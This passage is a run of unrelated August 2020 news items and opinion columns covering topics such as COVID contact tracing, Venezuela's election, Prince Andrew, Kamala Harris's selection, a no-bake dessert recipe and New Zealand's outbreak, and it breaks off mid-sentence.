variety of safety actions including self-health declarations, symptoms, body temperatures, and health information such as COVID-19 tests. "As an Advanced Analytics company who is extremely concerned about privacy, our goal in creating this product is to give schools, governments, and businesses an application that allows their students and workers to be safe. The legacy contact tracing paradigm was inherently about monitoring. Though technology we can combat COVID while being privacy-conscious to our clients. Our clients opt-in to be tracked at locations where they want to be tracked, and when they leave that area we stop collecting data. This satisfies work safety and also helps put our users at ease once they leave a job site." said Stacy Griggs, CEO of Eltoro.com. We believe this challenge needs to be tackled and managed by businesses for businesses, Erwin said. The early results have shown that relying on consumers wont produce actionable data, relying on manual tracing is too slow, and relying on a hodge-podge of platforms will create more complications than solutions. Said Jonathan Erwin, CEO of RedeApp Based in Louisville, KY, Eltoro.com is the premier provider of Advanced Analytics and mobile location science. Eltoro.com currently holds seven patents on advanced technology products and is one of the early leaders in providing a COVID-19 contact tracing app for business, schools, and governments. Red e App is the leader in mobile workforce performance, relying on a proprietary and highly structured corporate directory workflow engine to create secure, private and relevant connections between employers, managers and employees. Founded in 2011, it was purpose-built for those businesses that have a significant number of employees who dont work at a desk and require dedicated, mobile-first platforms to communicate. CARACAS, Venezuela - The European Union said Tuesday it wont send observers to monitor Venezuelas upcoming congressional election, citing a lack of fair conditions for a vote that could erase the oppositions last major domestic stronghold of power. The government had invited the EU to send an electoral mission, but I have to conclude that conditions are not met, at this stage, for a transparent, inclusive, free and fair electoral process, EU foreign policy chief Josep Borrell said in a statement. Still, he welcomed a report that President Nicolas Maduros government and an unspecified sector of the opposition are in talks over possibly delaying the vote, which is now set for Dec. 6. The election will fill seats in the National Assembly now headed by opposition leader Juan Guaido, who the U.S. and more than 50 other nations recognize as the countrys legitimate leader. They said Maduros reelection had been fraudulent. Maduro sees the election as an opportunity to take over the one branch of government now out of his control and the pro-government Supreme Court made that more likely by ordering changes in the leadership of several major anti-Maduro parties. Opposition parties say the electoral commission also is stacked against them. More than two dozen leading opposition parties recently announced a boycott, aiming to undermine the votes legitimacy. Maduro is fighting off a campaign to oust him by Guaidos coalition amid a political and economic crisis in the once-wealthy oil nation that has led to mass migration. Maduros Foreign Affairs Minister sent EU leaders a letter saying a sector of the opposition is in talks with the socialist government about a possible election delay. Yet, it was unclear who Maduros government is negotiating with. Other parties that dont include Guaido and claim to be opposed to Maduro have been in talks with the government and have agreed to go ahead with the vote. Borrell welcomed the discussion of the delay. It is a step in the right direction, but not enough for the European Union to be able to deploy an Election Observation Mission, he said. To do that, we need a precise and a broadly positive answer to the minimum requirements defined by the opposition. Read more about: MEXICO CITY Mexicos coronavirus death toll passed the 53,000 mark on Monday as the health ministry reported 705 additional fatalities and 5,558 new cases of infection, pushing the country closer to the governments most negative scenarios. Mexico, which has the third-highest death toll worldwide from the virus after the United States and Brazil, has now reported 485,836 cases and 53,003 deaths, with fatalities rising nearly 5,000 over the past week. On June 4, Mexicos coronavirus czar, Deputy Health Minister Hugo Lopez-Gatell, said for the toll to reach 60,000 would be a very catastrophic scenario." At the time, Mexico had registered just over 12,500 deaths from the pandemic. The government has been struggling to balance the need to curb the pandemic with re-opening Mexicos battered economy, which contracted more than 17% in the second quarter. Earlier on Monday, Mexico City Mayor Claudia Sheinbaum said she would go into temporary quarantine after the capitals interior minister tested positive for the virus. Ill stay at home for the next few days until I can do the test again," she wrote on her Twitter account. Im in perfect condition and attending everything remotely." Mexicos government has said the real number of infected people is likely significantly higher than the confirmed cases. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor When we finally emerge from our Covid caves and resume normal lives, or something close to it, we will need effective tools to contain the inevitable outbreaks that will come with social mingling. Without that, the progress weve made since March, at such grave cost, could be lost in a flash as the virus surges back, inevitably forcing a fresh lockdown. Weve seen that happen all over the country. The threat is real. So, it is beyond disturbing to learn that nearly half of those found to be infected with the virus in New Jersey are refusing to cooperate with health officials who are trying to warn those who came in contact with them. Weve seen dramatic failures of leadership during this pandemic, starting with the White House. But its not all about leadership. Were also witnessing failures of citizenship from the brain dead fools who refuse to wear masks, the beachgoers crowding the boardwalks, the teens who cram together at hidden house parties. All that is playing with fire. Now, we learn of the widespread refusal to cooperate with local health officials who are trying to conduct whats known as contact tracing. Heres how its supposed to work: After a test shows that a person is infected, these contact tracers call the person and assemble a list of all those who were in close contact during the previous two weeks. The tracers then call those people to warn them and ask that they get tested and quarantine if necessary. Its a strategy that goes back centuries and has worked during this crisis in several countries across Asia and Europe. So why are only 55 percent of infected people in New Jersey agreeing to play ball? Health officials say some dont trust government, some feel its an invasion of privacy, some worry that it could be a scam, and others dont want to face the need to quarantine. Some, no doubt, just cant be bothered. In Los Angeles, frustrated health officials offered a $20 bonus, and the rates of cooperation improved. That might be a smart tactic, but its also a sad commentary on the state of American citizenship. Lives are at stake, and it takes a cash bonus to get help? Its the moral equivalent of demanding payment from a drowning person before agreeing to throw a life preserver. Granted, contact tracing cant work effectively, even with full cooperation, until we can get speedy results from tests. If it takes 10 days for an infected person to get results, most of the damage is already done. But as testing improves, and the results come in faster, this low participation rate will do more concrete damage. The School of Public Health at Rutgers is recruiting and training an army of 1,000 people to help local health departments do this work, and Gov. Phil Murphy contracted with a private firm based in Boston to reinforce them. So, nows the time to spread the word on contact tracing. Cooperation is a civic duty, like wearing a mask. Its not asking a lot, and it might save lives. Public service announcement, in many languages, would help as well. We need to appeal to peoples altruism, says Perry Halikitis, the dean of the Rutgers public health school. It worked with HIV, and it can work now. And if we ever want to reopen this economy -- to eat dinner at a restaurant, to work out at a gym, to shop at a favorite store -- then we have to be ready to tamp down fresh outbreaks. And that cant be done unless infected people cooperate with the contact tracers. More: Tom Moran columns Tom Moran may be reached at tmoran@starledger.com. Follow him on Twitter @tomamoran. Find NJ.com Opinion on Facebook. Actor Rhea Chakraborty told the Supreme Court on Tuesday that she was in love with her late boyfriend Sushant Singh Rajput. Bench of Justice Hrishikesh Roy was told by senior advocate Shyam Divan, appearing for the actor, that she is traumatised by Sushants death. As per an India Today report, Divan added that Rhea is being harassed and trolled on social media platforms. Many fans of Sushant are holding Rhea responsible for Sushants suicide. The lawyer also told the court that the FIR lodged in Bihar by Sushants father against her in relation to his sons suicide has absolutely no connection with any offence in Patna. Diwan added that there appears to be considerable amount of state interference, influence and therefore an apprehension of bias. He referred to the timeline in the case and said that there was considerable delay of over 38 days in lodging of the FIR at Patna. Divan referred to the complaint by Rajputs father to police in Patna and said that all averments mentioned in the complaint are relatable to Mumbai. He said that Mumbai Police had recorded statements of 56 persons in the case and the probe has proceeded quite substantially. Also read: Ankita Lokhande welcomes twins Abeer and Abeera to family: A new life has begun, see pic The hearing in the matter is going on. On August 5, the top court had said that the truth behind the unfortunate death of the gifted and talented artist should come out. The 34-year-old Bollywood actor was found dead at his apartment in suburban Bandra in Mumbai on June 14. (With PTI inputs) Follow @htshowbiz for more SHARE THIS ARTICLE ON Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money. Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists. The group said it was well on the way to getting the needed signatures when Oregons pandemic-related restrictions made petition drives virtually impossible. U.S. District Judge Michael McShane in Eugene agreed that it was because of the restrictions that the group fell short, and ordered the state to reduce the number of signatures needed to place the measure on the ballot. Sure, it might be warm Wednesday, but what about the rest of the week? As the pressure mounts against Prince Andrew and his alleged connection with the sex trafficking scheme of the late pedophile Jeffrey Epstein, it looks like the Royal Family has canceled the Duke of York. In a recent update on the Royal Family's official website, the link to the Duke of York's official social media accounts has been removed. Meanwhile, the links to the official Instagram and Twitter accounts of Queen Elizabeth (@RoyalFamily), Prince Charles and Camilla (@ClarenceHouse), and Prince William and Kate Middleton (@KensingtonRoyal) remains on the website. The links to the social media accounts of Prince Harry and Meghan Markle (@SussexRoyal) were also removed following their decision to step down as senior members of the Royal Family. Prince Andrew's official Twitter account (@TheDukeOf York) remains active although it's last tweet update was on November 21, 2019, containing the statement of Prince Andrew's official retirement from duties. While it is unknown when the Palace turned town the link to the Duke fo York's Twitter feed, it looks like it has been quietly taken down in the recent weeks following the latest development on Jeffrey Epstein's case. Last month, Prince Andrew's official website was also taken down, and visitors are automatically redirected to the Royal Family's main site when you visit thedukeofyork.org. Last month, Epstein's former associate and confidante, Ghislaine Maxwell has been arrested by the FBI. Since then, left and right revelations connecting the 60-year-old royal to sex trafficking activities have come up. Not the Prince of Your Dreams It came after one of Epstein's victims, Virginia Roberts (now Guiffre) called Prince Andrew as an abuser and described him as "not the prince from the fairytales." Speaking to "Surviving Jeffrey Epstein" documentary series, Virginia Roberts said that although she suffered sexual assault at the hands of the Prince, she is pleased to talk about him and reveal his association with the "most prolific sex trafficking operators in the world." "Prince Andrew is not the prince from the fairytale stories you read, Andrew deserves to be outed, he deserves to be held accountable, he is an abuser," Roberts said. The now 26-year-old abuse victim claims that she was forced to have sex with Queen Elizabeth II's favorite son three times when she was still 17-year-old. Prince Andrew's Party Is Over In a BBC Newsnight interview, the Duke of York denied meeting Roberts and strongly denied having a sexual relationship with Roberts. Since the said interview did not work on his favor, Prince Andrew voluntarily stepped down from his royal duties to avoid further public scrutiny. It was earlier reported that the 94-year-old monarch no longer sees an opportunity for her son to return to his royal duties following the controversies involving Jeffrey Epstein. "The prince hoped his status change would be temporary, but those hopes have disappeared," a source told "The Sunday Times." The insider claims that the Royal Family has "no plans to review" Prince Andrew's position and role within the monarchy. READ MORE: Prince of Woke: How Meghan Markle Opened Prince Harry's Eyes To Understand Racism Gifted baker and mum-of-three Walla Abu-Eid A self-taught baker whose desserts have garnered an Instagram following of 74,000 has shared a three-ingredient recipe for Lotus Biscoff 'Twix' bars, with no baking required. Busy teacher and mother-of-three Walla Abu-Eid has been whipping up incredible sweets in the kitchen of her Guildford home in Sydney's inner-west since 2013. The 'Twix' bars are the latest addition to the 31-year-old's social media feed which is filled with photos of cakes, doughnuts and mousses flavoured with Biscoff, a spiced cinnamon biscuit and spread popular in Belgium. Home cooks will need 10 pieces of shortbread, 250g of milk chocolate and half a jar of Biscoff to make the recipe, which is so simple it's virtually impossible to mess up - even for beginners. Scroll down for video Self-taught baker Walla Abu-Eid's Lotus Biscoff Twix bars, made from shortbread, milk chocolate and half a jar of the distinctive spiced cinnamon spread The bars (pictured) are so simple to make, they are virtually impossible to mess up - even for beginners To start, load the spread into a piping bag and snip roughly one inch off the end, the pipe onto the shortbread biscuit, smoothing over with the back of a knife. Melt the chocolate in the microwave at 30 second intervals, stirring in between until fully melted. Dip the Biscoff-covered biscuits into the chocolate, swirling around to coat completely, and leave to set in the fridge. In the caption of a photo of the bars posted Saturday, Ms Abu-Eid said they are so delicious, she will never eat traditional Twix again. Ms Abu-Eid said the bars are so delicious, she will never eat traditional Twix again The ingredients for Ms Abu-Eid's 'Twix' bars (left) which are made by piping Lotus Biscoff spread onto shortbread (right), then coating the biscuit in melted chocolate Recipe for Lotus Biscoff Twix bars INGREDIENTS 10 pieces of shortbread biscuit Half a jar of Lotus Biscoff spread 250g milk chocolate METHOD 1. Place Biscoff spread into a piping bag and cut roughly 1 inch off the end. 2. Pipe spread over each piece of biscuit and use a knife to smooth it out. 3. Place chocolate in the microwave at 30-second intervals, stirring in between until fully melted. 4. Dip Biscoff biscuits into chocolate and swirl around to coat completely. Transfer to baking paper and use a fork to make indents on the top. 5. Refrigerate or leave on bench top to set. Source: Bake My Cake by Walla Advertisement Ms Abu-Eid previously told Daily Mail Australia about her swift ascension to social media stardom. 'It's been crazy. People tell me my cakes look so professional, but I really just do it as a hobby whenever I have time,' she said in July, after a Lotus Biscoff cheesecake she made from six simple ingredients went viral. Fans flood the comments to gush over her talent and creativity, with many requesting custom-made cakes for birthdays and family gatherings. One Sydney mother said she went to the supermarket specifically to buy Biscoff spread and biscuits 'all thanks' to Ms Abu-Eid's Instagram account which inspired her to start baking. Walla Abu-Eid's 'Lotus Biscoff cheesecake', flavoured with biscuits and spread from the iconic Belgian brand The baked dessert (pictured) is made from six simple ingredients: eggs, cream cheese, sugar, butter flour and vanilla extract A photo of her tantalising 'Lotus Biscoff lasagne' posted on May 3 was picked up by over 60 global news outlets and featured on the homepages of Unilad and Ladbible. 'That went absolutely viral, everyone loved it,' she said. Asked if she had secured a paid partnership with Lotus to promote the brand, the baker laughed and said a collaboration like that would be a dream come true. 'I wish I had a deal with Biscoff, I just love the flavour. I actually did contact them, but no word yet!' she said. To view the full range of Ms Abu-Eid's cakes or place an order, visit her business Instagram account Bake My Cake by Walla. Copyright 1995 - . All rights reserved. The content (including but not limited to text, photo, multimedia information, etc) published in this site belongs to China Daily Information Co (CDIC). Without written authorization from CDIC, such content shall not be republished or used in any form. Note: Browsers with 1024*768 or higher resolution are suggested for this site. 0108263 License for publishing multimedia online Registration Number: 130349 Registration Number: 130349 Kanye West has always been a very controversial figure, but his notoriety has reached new heights over the past several months. Following his unexpected announcement on July 4th that he planned to run for president, West has seemingly gone into a massive public spiral. He took to Twitter to slam his in-laws, the Kardashians, and his posts have caused fans to wonder if he and his wife, Kim Kardashian West, will soon be announcing a divorce. Still, according to some fans on Reddit, a divorce wouldnt be entirely unexpected, since they speculate that West and his wife have been having problems for months, if not years. Kanye West and Kim Kardashian West | Roy Rochlin/Getty Images Kanye West announced a presidential run There has long been debate that Kanye West has been considering a career in politics. The always-outspoken rapper has talked in the past about potentially running for office in 2024. Still, no one likely expected him to make an announcement on July 4th that he intended to run for president as a member of the Birthday Party. In the days after his Twitter announcement, West opened up in a shocking, revealing interview, reiterating his religious views and stating that he no longer supports Donald Trump. West also compared his vision for the White House to Marvels fictional country of Wakanda and stated his support for pro-life causes. West was vague regarding details of his other policies and platforms, but for his supporters, his fervor for creating change in the United States was all that they needed to know. Kim Kardashian West and Kanye West are reportedly having marriage problems RELATED: Kim Kardashian West and Kanye West Take Family Trip in an Attempt to Save Their Marriage, Report Says Only weeks after his announcement, West took to Twitter again and this time, he was truly on a tear. In a series of tweets, West slammed his wife, Kim Kardashian West, for posing for Playboy early on in her career. He also claimed that she had originally wanted to have an abortion after she got pregnant with their oldest daughter, North West. He claimed that he has been trying to divorce Kardashian for years after she attended a prison reform event with the rapper Meek Mill. Furthermore, he called out Kris Jenner and said that she was no longer allowed to be around his kids. The rant made headlines and caused the normally-silent Kim Kardashian West to issue a rare public statement, in which she asked for compassion and understanding, reiterating that Kanye West has been diagnosed with bipolar disorder. Still, fans havent been able to stop talking about the state of Kardashian and Wests marriage, with many speculating that a divorce announcement is on the horizon, according to Fox News. Fans think that Kanye West and Kim Kardashian West have been living separate lives for some time In a recent Reddit thread, people discussed the fact that Kanye West has apparently been living in Wyoming, lying low at his spacious ranch. No one is quite sure whether he is receiving treatment for his bipolar disorder, but it does seem that Kim Kardashian West has been trying to help her husband. Fans discussed the reports that Kardashian and West are now living apart, with one poster stating that I really dont believe they live together on a regular basis and its been that way for quite some time. One poster slammed West for staying in Wyoming, stating that he wasnt even around for the birth of his kids. Some fans defended West, with one stating that its obviously really sh**** of him to move away from his four young children but maybe they thought his mental health would be better in Wyoming. Another poster empathized with Wests children, saying makes me wonder why theyre still married when they practically live like a divorced couple that shares four kids. Poor children. Ultimately, no one really knows the state of Wests relationship with Kardashian, or just how close he is with his kids but it seems likely that more will be revealed in the months to come. Belarusian opposition leader Svetlana Tikhanouskaya has left the country after two nights of violent clashes following the contested re-election of President Alexander Lukashenko. She's joined her children in neighboring Lithuania, where they were moved during campaigning. In a YouTube video on Tuesday (August 11) she denied being forced out - contradicting comments from her own campaign team. "I made a very difficult decision," she said. "It's a decision I made absolutely independently." She said she knows some will "hate" her for her decision, but that "children are the most important thing. At least one person died as police clashed with protesters on Monday (August 10) after the opposition accused Lukashenko of rigging the vote amid widespread criticism from Western leaders. Protesters set up barricades in several areas and threw petrol bombs. Local media reported clashes in other towns. Lukashenko has been in power for more than a quarter of a century. He's compared the protesters to criminal gangs and dangerous revolutionaries with shadowy foreign backers. U.S. Secretary of State Mike Pompeo said the election was, quote, "not free and fair." Foreign observers have not judged an election to be free and fair in Belarus since 1995. (HealthDay)The U.S. Centers for Disease Control and Prevention informed employees that office space it rents in the Atlanta area would be closed after Legionella, the bacteria that causes legionnaires disease, was found in the buildings, The New York Times reported. Fortunately, no employees have been sickened. Legionnaires disease can be fatal in 10 percent of cases. Some experts have warned of the risk for legionnaires when people return to buildings left vacant for months due to the COVID-19 lockdown, The Times said. The bacteria can grow in warm, stagnant water that is not disinfected. The bacteria can waft through the air and be inhaled when toilets are flushed or faucets are turned on. The CDC has guidelines to help prevent Legionella from spreading as buildings reopen. It is not clear if the buildings where the CDC closed its offices followed its own guidelines. The CDC said in a statement that "during the recent closures at our leased space in Atlanta," the agency, working with the General Services Administration, had "directed the landlord to take protective actions." The affected building will remain closed until the problem is fixed. "Legionella is something that even though we've known about it since the 1970s or so, we're still learning about it every day," Caitlin Proctor, a postdoctoral fellow at Purdue University in Indiana, told The Times. "That the CDC can't prevent Legionella contamination in their buildings is a sign that we all need to be proactive about this issue." Explore further After coronavirus, another hidden respiratory disease lurks in the buildings we left behind More information: The New York Times Article Copyright 2020 HealthDay. All rights reserved. By Express News Service NEW DELHI: The Centre on Monday clarified that quarantine period of doctors and healthcare workers (HCWs) will be treated as on duty and not on leave. In an affidavit filed before the Supreme Court, the Union Ministry of Health submitted that it had issued a directive in this context to all states on August 6 and clarified that quarantine period needs to be treated as on duty. The step came in response to the top courts July 31 order, asking for clarification on the issue after an application filed by the United Resident Doctors Association (URDA) said several states were treating quarantine period as casual leave and deducting salaries, too. A bench led by Justice Ashok Bhushan had told the central government to respond to URDAs application, which also said that salaries of doctors were being deducted for their compulsory quarantine period. On the aspect of paying salaries, the government wrote to five states Maharashtra, Delhi, Tripura, Karnataka and Punjab on August 1 asking them to ensure there was no delay in releasing salaries of HCWs and sought a compliance report. According to the reports sent by five states, which were defaulters earlier, submitted that the pending salaries have been paid. However, in Delhi, doctors working at a polyclinic under the North Municipal Corporation of Delhi have not been paid salaries. Punjab has told the court that they have cleared all the dues for June and salary bills for July have been submitted to the state treasury. Similarly, Karnataka has taken steps to release stipends for interns and junior doctors of two colleges JMM College in Davangere and Kasturba Medical College in Mangalore between April and June. Tripura said it has cleared all the pending dues and salaries are now being paid on time. The court has slated the detailed hearing for next week. Lets get right to it. I asked author Jean Guerrero whether she thinks President Donald Trumps senior adviser Stephen Miller is racist toward Mexicans. The San Diego area-based journalist who has just written an important book about the most controversial adviser in the Trump White House initially tried to dodge the question by falling back on her training. One of the reasons that we as journalists refrain from using terms like racist is that we dont know whats in peoples hearts or in peoples heads, Guerrero said. But I believe that racism can be about actions. It can be about words that you communicate. If youre talking about racism in that sense, then you can call Stephen Miller a racist. Because he has throughout his life expressed racist beliefs and acted in a racist way. The book is provocatively titled Hatemonger: Stephen Miller, Donald Trump, and the White Nationalist Agenda. Guerrero is 32, but shes an old-school journo. So much so that my friend says she started research for the Miller book with an open mind about the thorny question I just put to her. The Mexican American journalist has spent several years covering the U.S.-Mexico border and reporting on the immigration issue. Yet she started out skeptical of the idea that Miller who is only a couple of years older than Guerrero and grew up two hours away from her in Southern California hates Mexicans. Guerrero did her homework. Based on an exhaustive amount of research that included conducting more than 150 interviews and leafing through hundreds of pages of documents, the book helps readers understand one of the most consequential figures in Washington. Millers official job title is senior adviser for policy to the president. The 34-year-old essentially runs immigration policy for the White House and, by extension, the entire administration. The former congressional aide and communications director for then-Sen. Jeff Sessions, R-Ala., is now the de facto secretary of homeland security. Besides Millers other duties, the graduate of Duke University is also the White Houses unofficial master of distraction. Trump has the uncanny ability to create just enough chaos to change the subject or cast the laser pointer away from something he doesnt want the media to focus on. Thats mostly Miller. The firebrand also moonlights as the minister of division. Americans are at each others throats over everything from tearing down statues to wearing masks. And its fair to say that much of that is Trumps handiwork which is to say, Millers mischief-making. But Mr. Sinister isnt likely to stop there. If Trump is re-elected, Miller could one day run the West Wing as chief of staff. Perhaps Millers most important role is that hes the real Trump whisperer. That phrase is often used to describe reporters who can explain Trump to people. Never mind that. Miller does something even more valuable: He explains people to Trump. He has his ear to the ground with MAGA voters. I sometimes think that every time a white person anywhere in America complains about anything, a light goes off in Millers office. The white avenger is constantly reintroducing the president to his base. Its essential work. For all his populist rhetoric, Trump is still a billionaire whose reality is colored by solid-gold bathroom fixtures, Fifth Avenue penthouses and private jets. Everyman, the president is not. Guerrero tried repeatedly to interview Miller or get someone in the White House to comment on her findings. No such luck. I asked the author why, in the books title, she decided to use a loaded word such as hate. Hate is rooted in a sense of superiority, and a sense of entitlement, Guerrero said. Hate makes you want to harm. And when you look at the performatively cruel policies that Trump has been responsible for, you realize that he needs to rally that hatred for people to cheer him policies like separating children from their parents and turning away the worlds most desperate and vulnerable people who come as refugees. Guerreros book is required reading for anyone who wants to better understand how our one nation, indivisible, became so divided. After all, thats the first step in gluing back together what Miller and the occupant of the Oval Office helped shatter. ruben@rubennavarrette.com Forest Essentials, a leading luxury Ayurveda skincare brand, has awarded its digital mandate to ET Medialabs, with performance marketing on Facebook, Google, Bing and other online platforms. As a result of this collaboration, awareness about and sales of Forest Essentials products should be further consolidated. In addition to performance marketing, ET Medialabs will pursue off-page and on-page SEO for its new client. The digital marketing agency has deep expertise in SEO, which it will put to good use. ET Medialabs has created two teams to meet its mandate. One group will manage SEO, while the second will be responsible for performance marketing and affiliate management. ET Medialabs has been creating personalised experiences for customers and has built up substantial expertise in creating experiences that match customers desires. ET Medialabs expertise in these domains is also one of the prime reasons Forest Essentials chose the agency over many others in the fray. Speaking about the partnership, Amitek Sinha, COO, ET Medialabs, said, We expect to meet and exceed the mandate entrusted to us by Forest Essentials. ET Medialabs is one of the leading digital marketing agencies because we have deep insights about how to create brand awareness online. We also understand how to optimise spends on online marketing channels. Insights gleaned by us help create larger funnels at all levels. One of our biggest strengths is making luxury brands more robust. In the past, we have consistently added value to luxury brands and will undoubtedly do so for our newest client. Tara Antony, Senior Manager, Digital Marketing, Forest Essentials, added here, We are looking forward to our strategic tie-up with ET Medialabs for our Digital mandate. As a luxurious Ayurvedic brand, we are particular about how the brand is represented and we believe that with their experience and expertise in digital marketing, ET Medialabs will be a suitable partner. We hope for a fruitful collaboration ahead. Former Vice President Joe Biden speaks as Sen. Kamala Harris (D-Calif.) listens during a Democratic presidential primary debate in Detroit on July 31, 2019. (AP) In picking California Sen. Kamala Harris to join the Democrats' 2020 presidential ticket, Joe Biden has shown that, unlike the man currently holding the job he seeks, hes not afraid of strong women. It would have been disappointing but understandable if Biden had dismissed the highly qualified Harris as his running mate. She had also sought the nomination, and during the course of the primary she harshly criticized Bidens position on busing to integrate schools and other racial justice issues. Before one CNN debate, Biden quipped, Go easy on me, kid. She didnt. Thats not Harris' style; she's been a prosecutor for most of her professional life, not a therapist. For this, Biden aides reportedly tried to block her selection as vice president, suggesting she lacked sufficient loyalty and deference and had too much ambition to make a good sidekick. And if Biden won, critics warned, she might spend most of her time in the West Wing preparing to run for president. That's an absurd reason to reject a candidate. The vice presidential spot has always been seen as a launching pad for the presidency; it's not like veeps have a whole lot else to do. Besides, isnt ambition something you want in a leader? Or is that a trait admirable only in men? Indeed, Harris is ambitious. She had to be to overcome the obstacles she faced as both a woman and a person of color (her mother is from India and her father is Jamaican). And Harris didnt just advance, she pioneered. She is the state's first Black district attorney, the first woman to serve as California's attorney general and the second Black woman to serve as a U.S. senator. Now, shes the first woman of color to join the Democratic presidential ticket. As Biden heads into the most consequential president election in modern history, he sees what we do: Harris has a lot to offer the campaign and the ticket beyond being a symbol. For one thing, Harris brings an unusual blend of social justice progressiveness and law-and-order conservatism. She has a long career of fighting to protect the downtrodden and looking for ways to reform the criminal justice system while still locking up plenty of the proverbial bad guys. She's gone after for-profit colleges and the mortgage industry when they preyed upon her constituents. She's outspoken (at least when she wants to be) on issues she cares about, will not be cowed by bullying, and is not afraid of being seen as overly aggressive, which can be a career killer for women. Just ask Hillary Clinton. Story continues Her debating skills are not in doubt, as Biden well knows from personal experience. After seeing her recent exchange with Senate colleague John Cornyn (R-Texas) over a police reform bill, we look forward to watching Harris go head to head with Vice President Mike Pence in the fall. As any elected official with a long record of service, Harris has had missteps along with the successes. She pushed some policies as a prosecutor that were harmful, such as her wrongheaded if well-intended campaign to curtail truancy, which fell particularly hard on low-income families and communities of color. (In her defense, Harris saw chronic truancy as a theft of a child's future prosperity.) The offices she led sometimes made the wrong decisions in specific cases. Our chief criticism of her over the years has been her aversion to taking firm positions on controversial topics, including some that should have been in her wheelhouse when she was attorney general. For example, when California voters were considering a major criminal justice reform initiative in 2014 to reduce certain nonviolent felonies to misdemeanors, Harris refused to take a stand on it or distance herself from the law enforcement community's fear-mongering. The initiative passed anyway. That tendency carried on to some extent in the presidential primary campaign, when Harris took safe and seemingly malleable stances on some major issues, such as enacting "Medicare for All" and allowing felons to vote. That's not a deal breaker for a vice presidential nominee, but presidential candidates must be clear on their positions. Win or lose in November, Harris has at least four years to get that right. MLA Audrey Gordon is undeterred in her work to unite her constituency, even though her image on a bus bench was defaced with racist graffiti. Hey there, time traveller! This article was published 11/8/2020 (525 days ago), so information in it may no longer be current. MLA Audrey Gordon is undeterred in her work to unite her constituency, even though her image on a bus bench was defaced with racist graffiti. The bench, located on the corner of Cottonwood Road and Autumnwood Drive in Gordons Southdale riding, was defaced with the N-word over the weekend in what Gordon described as a shocking and saddening incident. The City of Winnipeg cleared the graffiti away by Monday morning, but Gordon already felt the sting. "It doesnt feel good... I cant recall having experienced anything like this since I was in grade school," the Manitoba Progressive Conservative said in an interview Monday. "It really shook me at my very core I was so disappointed." Despite the vandalism, Gordon believes those living in her Southdale riding would denounce the racism exhibited by the graffiti, and that the act stands as an isolated incident. "Ive been so warmly welcomed here and embraced as the new MLA, and we are doing some incredibly great things in terms of community development and building capacity in the community," Gordon said. "This is the view of a single individual looking to spread hate and stereotypes and negativity to cause division in the community. The forces that are for this community are greater than the force that is coming against it." Supplied MLA Audrey Gordon says the defacement of the bench was shocking and saddening. The vandalism, she said, has only strengthened her resolve to continue serving her constituents and bring unity to her community. "Im saddened by it, but I dont feel deterred at all in what Im doing," she said. "If they were aiming to diminish me, its just made me even stronger and Im going to be working much harder, even, with the community to show how cohesive we are and how unified we are." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Still, Gordon said shes worried for newcomers, young people, and others in the community who may have seen the bench and been discouraged or hurt by the racist slur. Connecting this act to the growing global conversation surrounding anti-Black racism, particularly in institutions like policing, Gordon said the incident encourages her to begin speaking out and standing strong against racism in all forms. Gordon said she felt a physical pain in her heart when, in late May, she saw the video of George Floyds death. Floyd, a Black man living in Minneapolis, was killed by police officers on May 25, sparking global actions against police brutality and systemic racism. Gordon said she had been quiet for months following Floyds death, attending rallies as an observer and working through the pain she felt. She was beginning to pull herself out of that pain when she saw her own face vandalized at the bus stop. Now, Gordon is feeling galvanized to speak up and bring hope to the younger generation she describes as a "second coming of the civil rights movement." "It just hit me like a brick: here I was confronted with it right in my very own community," she said. "Im going to stand up and say that this is wrong and that this is not acceptable. I think about the young people that need to know that Im not going to back down, Im not going to cower and hide in my office, lock my office door and not be seen out in the community theyll see me even more than they did before." julia-simone.rutgers@freepress.mb.ca As noted here, a prisoner released from an Alexandria, Virginia jail due to the Wuhan cornavirus killed the woman who testified against him on sexual assault charges. There had been no cases of the virus in that jail. In another local case, a Montgomery County, Maryland man released from jail for the same reason stabbed a 63 year old man to death. These stories prompted Fox 5 Washington to take a poll. Viewers were invited to say whether prisoners should be released from jail because of the virus. This kind of poll isnt scientific, but the results left little doubt about public sentiment. At the time I saw the stations report on the poll, about 500 people had voted. 98 percent of them said they oppose releasing prisoners because of the virus. And remember, this poll was of viewers in the D.C. area one of the most liberal parts of the country. Liberal, but not stupid. At least on this issue. Unfortunately, judges and policymakers have no regard for public opinion on matters of crime and safety. In a 2015 poll, 1008 adults were asked the following question: Thinking about the criminal justice system, which comes closer to your view that we have too many drug traffickers in prison for too long, or that we dont do enough to keep drug traffickers off the street? By a 58-30 margin, respondents chose the right answer: We dont do enough to keep drug traffickers off the street. Yet, a few years later, Congress voted overwhelmingly to reduce sentences for drug traffickers. In a well-functioning democracy, legislators would not think seriously, given public sentiment, about enacting legislation that reduces the time drug traffickers spend in prison. In a well-functioning justice system, judges would not think seriously about releasing dangerous prisoners due to the corornavirus, especially prisoners in jails where there have been no cases. But in our democracy and justice system, the elites are more than willing to cram unpopular policies down the publics throat, and to place the publics safety at risk in the process. HONG KONG, Aug 11 (Reuters) - Macau, the world's biggest casino hub, is set to welcome an influx of gamblers after China on Tuesday announced that tourist visas, through which the majority of visitors enter the Chinese territory, would be reinstated for all provinces from Sept. 23. Casino executives and investors have been eagerly awaiting the announcement as a catalyst to reviving gaming revenue, which has slumped since February due to coronavirus travel restrictions. China's National Immigration Administration said, provided the domestic coronavirus situation continued to improve, residents would be able to apply for individual and group travel visas to enter the special administrative region located on the country's southern coast. Visitors from greater China make up over 90% of tourists to the former Portuguese colony of Macau. Shares of Hong Kong listed casino stocks soared on Tuesday following the announcement. Residents from the neighbouring coastal province of Guangdong on the mainland will be able to apply from Aug. 26, the National Immigration Administration said. Residents from Zhuhai city across the border from Macau are permitted from Aug. 12. The announcement comes nearly a month after China loosened coronavirus-related border restrictions between Macau and Guangdong. (Reporting by Twinnie Siu; Writing by Farah Master; Editing by Christopher Cushing) Ms Ardern said it was the first positive case in the county in more than 100 days that was not in a managed isolation facility and that the country would resort to the go hard, go early strategy they had successfully deployed before. "Given we havent identified the original source case we are expecting that there will be more cases," Ms Ardern said. "Together we've beaten the virus before and together, with fast action, we can do so again. We know what to do because we've successfully done it before." Ms Ardern said the positive cases had come from one household but the outbreak had 